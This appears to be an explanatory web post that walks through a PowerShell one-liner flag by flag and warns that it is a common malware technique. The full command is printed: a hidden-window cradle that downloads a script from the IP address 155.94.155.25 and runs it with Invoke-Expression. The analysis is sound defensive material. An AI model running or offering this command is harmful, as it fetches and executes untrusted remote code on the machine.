The given code is a Windows PowerShell command, and here's...
The given code is a Windows PowerShell command, and here's a breakdown of what it does:
powershell -w h -nop -c iex(iwr -Uri 155.94.155.25 -UseBasicParsing)
-
powershell
: This invokes the PowerShell interpreter. -
-w h
: This sets the PowerShell window style to "hidden," meaning the script runs without displaying any visible PowerShell window. -
-nop
: This stands for "NoProfile," which prevents the user's PowerShell profile scripts from loading, aiming to ensure a clean environment. -
-c
: This tells PowerShell to execute the command provided in the string that follows. -
iex
: This is a shorthand forInvoke-Expression
, which is used to execute a string as a PowerShell command. -
iwr
: This is a shorthand forInvoke-WebRequest
, which is used to send an HTTP(S) request to a specified URI—in this case, to155.94.155.25
. -
-Uri 155.94.155.25
: Specifies the target URI for the HTTP(S) request. In this case, it points to an IP address. -
-UseBasicParsing
: This forces the use of basic parsing for the web request, which is often used for compatibility when the Internet Explorer-based parser is not available.
Overall Function:
The code makes an HTTP(S) request to the IP address 155.94.155.25
, retrieves the response, and executes it as a PowerShell script using Invoke-Expression (iex)
.
Purpose and Concerns:
This type of command is often used for malicious purposes in cyberattacks. It pulls potentially malicious code from the provided remote server (at 155.94.155.25
) and executes it directly on the target machine. This command is commonly found in PowerShell-based malware or exploits, such as those related to command-and-control (C2) systems.
Key Takeaways:
- Be highly cautious of such code, as it bypasses normal protections and hides its activities.
- The IP address (
155.94.155.25
) could serve malicious payloads, but its intent depends entirely on the content hosted at that IP at execution time.